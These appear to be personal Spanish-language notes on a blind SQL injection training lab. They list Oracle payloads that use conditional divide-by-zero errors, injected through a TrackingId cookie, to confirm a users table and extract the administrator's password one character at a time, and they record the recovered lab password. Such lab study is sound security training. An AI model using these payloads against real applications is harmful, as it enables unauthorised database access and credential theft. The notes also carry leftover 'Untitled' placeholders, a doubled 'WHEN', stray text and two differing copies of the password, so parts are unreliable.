12 Lab: Blind SQL injection with conditional errors

';
''; //Verificamos que reacciona solo con un ' (error de sintaxis)
/// EXISTE TABLA USERS Y fila administrator
'||(SELECT '' FROM dual)||'
'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
// De esta manera forzaremos un error con una query real
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

/// Obtener longitud de la clave, obtenemos que tiene 20 caracteres
'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
/// Obtener CADA CARACTER
'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
// Probamos con Intruder
'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§A§' THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
son 20 caracteres, estos pueden ser minuscular y caracteres alfanumericos

administrator
zc83du733ks81egn2kii
Untitled
Untitled
Untitled
Untitled
Untitled

Esto demuestra que puede desencadenar un error condicionalmente a la veracidad de una condición específica. La declaración CASE prueba una condición y la evalúa como una expresión si la condición es verdadera y otra expresión si la condición es falsa. La primera expresión contiene una división por cero, lo que provoca un error. En este caso, las dos cargas útiles prueban las condiciones 1=1 y 1=2, y se recibe un error cuando la condición es verdadera.

Untitled
Untitled
Untitled
Untitled

Recordemos que nos mostrará el error de Internal Server Error, solo cuando haya un error en la query.

Por eso usaremos un condicional anidado :

TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
// Query
SELECT 
    CASE 
        WHEN (1=1) THEN TO_CHAR(1/0) 
        ELSE '' 
    END 
FROM users WHERE username='administrator';

WHEN (1=1) THEN TO_CHAR(1/0) <Es un error, puesto que 1/0 será un error en SQL>

POR ESO MOSTRARÁ EN MENSAJE DE ERROR, SI EXISTE LA OTRA CONDICIONAL: FROM users WHERE username='administrator'

Untitled
Untitled
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

SELECT 
	CASE 
		WHEN LENGTH(password)>1 THEN to_char(1/0) 
		ELSE '' 
	END 
FROM users WHERE username='administrator'

SELECT 
	CASE 
		WHEN <CONDICIÓN A CONSULTAR> THEN <ARTIFICIO QUE SIEMPRE DARA ERROR> 
		ELSE '' 
	END 
FROM users WHERE username='administrator'

SI LA CONDICIÓN A CONSULTAR, CUMPLE, ENTONCES NOS BOTARÁ UN ERROR, PUESTO QUE ES UNA CONSULTA A CIEGAS
Untitled
Untitled

SUBSTR(password,1,1)='a’

TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

SELECT 
	CASE 
		WHEN WHEN SUBSTR(password,$1$,1)='$a$' THEN to_char(1/0) 
		ELSE '' 
	END 
FROM users WHERE username='administrator'
Untitled

zc83du733ks813egn2kii

fgdfgdfgd

Last updated